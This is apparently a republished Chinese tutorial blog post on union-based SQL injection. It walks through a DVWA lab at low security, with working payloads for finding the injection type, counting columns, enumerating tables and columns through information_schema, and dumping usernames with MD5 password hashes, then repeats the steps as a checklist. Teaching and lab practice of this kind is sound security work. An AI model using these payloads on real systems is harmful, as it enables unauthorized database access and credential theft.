SQL注入-联合查询注入
Posted 小洋葱头头
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入-联合查询注入相关的知识,希望对你有一定的参考价值。
SQL注入-联合查询注入
一,原理
使用union select
对两个表联合查询,注意两个表查询的字段数量要相同,不然会报错。
比如表一有2个字段,表二有4个字段,要想联合查询必须查询字段数量相等,就得这么写:select * from tableA union select 1,2 from tableB
。
有无回显:有
二、information_schema库
在mysql5.2版本以上加入了information_schema库,作为元数据库,这个库里的schemata
,tables
,column
表分别存放着数据库的库,表,字段信息。
1,information_schema.schemata表: 字段schema_name为库名
2,information_schema.tables表:字段较多,我们只需记住TABLE_SCHEMA
和TABLE_NAME
字段分别为库名 和表名就可以了。
3,information_column.column表:字段也比较多,我们只需记住TABLE_SCHEMA
,TABLE_NAME
,COLUMN_NAME
分别对应表所在库名,表名和字段名即可。
示例
环境:dvwa
一,先将dvwa调至low等级:
二,测试注入类型;
我们输入1' and '1
和1' and '0
时发现页面回显不同,可确定为字符串类型。
当传递参数1' and '1
时,两边都为真,所以能查出数据,当传递参数为1' and '0
时,因为0为假,所以查不出数据。
三、判断字段数
order by
关键字:用于对查询结果排序。
--+
:用于将后面的语句注释掉。
在URL中依次传递?id=1' order by 4 --+
,?id=1' order by 3 --+
,?id=1' order by 2 --+
,发现传递?id=1' order by 2 --+
时有回显(SQL语句没报错),说明字段数为2。
四、查看回显位置
我们知道了字段数为2,那么我们就可以通过联合查询判断字段显示位置:
payload:?id=-1' union select 1,2 --+
:
根据回显结果得出字段1和字段2的回显位置。
五、联合查询敏感数据
常用内嵌函数
user() # 当前用户
version() # 数据库版本
database() # 当前数据库名
@@datadir #数据库路径
@@version_compile_os #操作系统版本
查询当前用户和数据库:
?id=-1' union select user(),database() --+
:在字段1和2的位置换上内嵌函数即可,注意联合注入前面的要让他报错(列如本次id=-1),后面的才会在页面回显出来。
查询可知我们的当前用户为root,数据库为dvwa
。
六、爆表
group_concat()
:关键字,将结果分组打印。
payload:?id=-1' union select user(),(select group_concat(table_name) from information_schema.tables where table_schema='dvwa') --+
:该payload意为查询information_schema库的tables表中的table_name字段中的数据,条件为table_schema=‘库名’(此处也可以用table_schema=database()
代替),并将结果分组打印,关于information_schema库我们在上面说过。
由回显结果得出dvwa库中存在guestbook和users表。
七、爆字段
payload:?id=-1' union select user(),(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa') --+
:从information_schema的columns表中查询column_name,条件为table_name=‘表名’,table_schema=‘库名’
这一步和上面差不多,都是对于元数据库的利用,只不过表名和字段名存放的表不一样而已,由回显结果显示users表中存在user_id,first_name,last_name,user,password,avatar,last_login,failed_login字段。
八、爆数据
注:如果你只需要验证漏洞是否存在,那么在上一步得出字段后基本就可以结束了。
limit 0,2
:从第0条数据开始取出2个数据(取出前两条数据)。
0x3a
:特殊字符:
的ASCII码,用于分割结果。
as a
:将结果取别名为a
payload:?id=-1' union select user(),(select group_concat(user,0x3a,password) from (select user,password from users limit 0,2 ) as a) --+
:
得出前两条数据为admin:5f4dcc3b5aa765d61d8327deb882cf99,gordonb:e99a18c428cb38d5f260853678922e03。
其他:
建议使用hackbar工具进行注入较为方便,新版hackbar已经收费,可以在网上找旧版,因为我也是在网上找的不确定安全性就不发在这了。
sql注入联合查询注入过程
注入步骤
- 找注入点且得到闭合字符
- 判断数据库类型
- 猜解列数,得到显示位
- 得到基本信息(如:数据库名、数据库版本、当前数据库名等)
- 得到数据库名
- 得到表名
- 得到列名
- 得到列值
1 1‘ order by 3 -- - 错误 2 1‘ order by 1 -- - 正确 3 1‘ order by 2 -- - 正确 (判断有几列,在这里有两列) 4 ? 5 ? 6 1‘ union select 1,2 -- - (查看回显位) 7 ? 8 1‘ union select user(),database() -- - (查看库名) 9 1‘ union select table_name,2 from information_schema.tables where table_schema=database() -- - (查看表名) 10 1‘ union select column_name,2 from information_schema.columns where table_name=‘users‘ -- - (查看列名) 11 1‘ union select group_concat(column_name),2 from information_schema.columns where table_name=‘users‘ -- - (用group_concat 能让查看的数据出现在一行 ) 12 -> DVWA数据库的users数据表中有以下几列: 13 user_id,first_name,last_name,user,password,avatar,last_login,failed_login 14 --------------------------------------------------------------------------- 获取数据库结构。 15 ? 16 1‘ union select 1,group_concat(password) from users -- -
1 命令中的一些注意: 2 information_schema.tables 和 information_schema.columns 都是information_schema 中的表 3 table_schema 数据库名 4 table_name 数据库里面的表名 5 table_column 数据库表里的列名 6 from 要放到 union select 后面 7 例如 group_concat(table_name),2,3,4 from information_schema.tables where table_schema=dababase()
以上是关于SQL注入-联合查询注入的主要内容,如果未能解决你的问题,请参考以下文章